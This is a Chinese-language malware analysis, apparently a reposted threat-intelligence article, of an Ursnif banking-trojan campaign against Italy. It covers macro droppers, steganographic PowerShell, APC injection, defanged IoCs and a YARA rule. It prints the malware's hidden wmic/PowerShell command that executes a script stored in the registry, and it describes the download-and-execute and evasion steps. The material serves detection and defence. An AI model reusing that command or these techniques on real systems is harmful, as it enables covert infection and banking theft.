针对意大利Ursnif银行木马的示例分析
针对意大利Ursnif银行木马的示例分析
小编给大家分享一下针对意大利Ursnif银行木马的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!
本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
介绍
近期,又有一波Ursnif攻击席卷了意大利!
Ursnif是目前活动最为频繁的银行木马,它也被称为GOZI。实际上,它是Gozi-ISFB银行木马的一个变种版本,自从该木马在2014年泄露了其源代码之后,攻击者这些年来一直都在升级和更新Gozi的功能。而且在这个变种版本中,Ursnif还嵌入了针对Office文档的攻击“武器”,即恶意VBA宏,它可以作为Dropper或经过混淆的PowerShell脚本来隐藏真正的Payload。除此之外,Ursnif还使用了隐写术来隐藏恶意代码并躲避AV检测。
当然了,这个变种还使用了QueueUserAPC进程注入技术来向explorer.exe注入恶意代码,这种技术的隐蔽性更强,因为不需要在目标进程中创建远程线程。
技术分析
初始感染向量以一个无法打开的Excel文件呈现,并要求用户启用宏来查看恶意文档的内容,文件标题通常都是采购订单或者发票等等。
在对样本的分析过程中,我们提取出了恶意宏代码,我们发现代码回使用Application.International MS Office属性来检查用户的所属国家。如果返回的国家代码为意大利(代码39),恶意宏将会使用Shell函数来执行下一条攻击指令:
恶意宏剩下的函数主要用来准备Shell命令的执行,并使用各种方法来拼接和编码字符串。最终的命令代码包含大量二进制字符串,它们需要使用下列函数来转化为新的PowerShell命令:
[Convert]::ToInt16()-as[char]
如上图所示,恶意软件会尝试从至少1到2个嵌入的URL地址去下载一张图片:
https://images2.imgbox[.]com/55/c4/rBzwpAzi_o.pnghttps://i.postimg[.]cc/PH6QvFvF/mario.png?dl=1
这个看似合法的图片实际上包含了新的PowerShell命令,攻击者使用了Invoke-PSImage脚本来制作这张恶意图片,而这个脚本一般用来向PNG文件的像素中嵌入字节或脚本代码。
Et voilà是另一段经过混淆的PowerShell代码,Payload采用Base64编码,所以很好处理:
代码看似为十六进制编码,可以通过之前的[Convert]::ToInt16函数进行解码。
最终的代码如下:
代码会再次检查用户是否位于意大利,信息由下列命令返回:
Get-Culture|Format-List-Property*
如果检测结果为假,脚本会从http://fillialopago[.]info/~DF2F63下载一个EXE Payload,然后将其存储在%TEMP%\Twain001.exe并执行。
在分析的过程中,大多数反病毒软件都无法检测到恶意文件:
其中的可执行文件是典型的Ursnif加载器,它负责跟后台服务器交互并下载需要注入到explorer.exe进程中的恶意代码。它使用了IWebBrowser.Navigate函数来从其恶意服务器felipllet[.]info下载恶意数据,其中URI路径会伪造成一个视频文件(.avi)。
服务器响应的数据为加密数据,如下图所示:
解密后,全部有用的数据都会存储在下面这个注册表键中:
HKCU\Software\AppDataLow\Software\Microsoft\{GUID}
注册表键“defrdisc”中包含了下一步需要执行的恶意命令,目标主机启动之后命令会自动执行:
命令的主要目的就是通过PowerShell引擎来执行“cmiftall”注册表键中的数据:
C:\Windows\system32\wbem\wmic.exe/output:clipboardprocesscallcreate“powershell-whiddeniex([System.Text.Encoding]::ASCII.GetString((get-itemproperty‘HKCU:\Software\AppDataLow\Software\Microsoft\94502524-E302-E68A-0D08-C77A91BCEB4E’).cmiftall))”
“cmiftall”注册表键中的数据是一个以十六进制编码的PowerShell脚本,所以我们可以轻松重构出它所要进行的操作:
Ursnif会使用PowerShell脚本来把恶意代码存储到注册表键中,Ursnif能够通过其恶意字节数组来分配空间,其中包含了最终的恶意Payload,并通过调用QueueUserAPC和SleepEx来嵌入到合法进程之中。
Ursnif的完整工作机制如下图所示:
入侵威胁指标IoC
哈希:
630b6f15c770716268c539c5558152168004657beee740e73ee9966d6de1753f(老样本)f30454bcc7f1bc1f328b9b546f5906887fd0278c40d90ab75b8631ef18ed3b7f(新样本)93dd4d7baf1e89d024c59dbffce1c4cbc85774a1b7bcc8914452dc8aa8a79a78(最终代码)
Dropurls:
https://images2.imgbox[.]com/55/c4/rBzwpAzi_o.pnghttps://i.postimg[.]cc/PH6QvFvF/mario.png?dl=1https://fillialopago[.]info/~DF2F63http://felipllet[.]info
C&C:
pereloplatka[.]hostroiboutique[.]ruuusisnfbfaa[.]xyznolavalt[.]icusendertips[.]ru
IP:
185.158.248.142185.158.248.143
攻击组件:
HKCU:\Software\AppDataLow\Software\Microsoft\94502524-E302-E68A-0D08-C77A91BCEB4E
Yara规则
import"pe"ruleUrsnif_201902{meta:description="YararuleforUrsnifloader-Januaryversion"author="Yoroi-ZLab"last_updated="2019-02-06"tlp="white"category="informational"strings:$a1="PADDINGXX"$a2={66666666666666}condition:allof($a*)andpe.number_of_sections==4and(pe.version_info["OriginalFilename"]contains"Lumen.exe"orpe.version_info["OriginalFilename"]contains"PropositionReputation.exe")}
以上是“针对意大利Ursnif银行木马的示例分析”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注恰卡编程网行业资讯频道!
推荐阅读
-
polyfills怎么按需加载
polyfills怎么按需加载本篇内容主要讲解“polyfills...
-
C#数据类型怎么实现背包、队列和栈
-
C#怎么实现冒泡排序和插入排序算法
C#怎么实现冒泡排序和插入排序算法这篇文章主要讲解了“C#怎么实现...
-
C#如何实现希尔排序
-
C#如何实现归并排序
-
C#怎么使用符号表实现查找算法
-
C#类的静态成员怎么用
C#类的静态成员怎么用这篇“C#类的静态成员怎么用”文章的知识点大...
-
C#的静态函数怎么用
C#的静态函数怎么用这篇文章主要讲解了“C#的静态函数怎么用”,文...
-
C#中的析构函数怎么用
C#中的析构函数怎么用这篇文章主要讲解了“C#中的析构函数怎么用”...
-
怎么用CZGL.ProcessMetrics监控.NET应用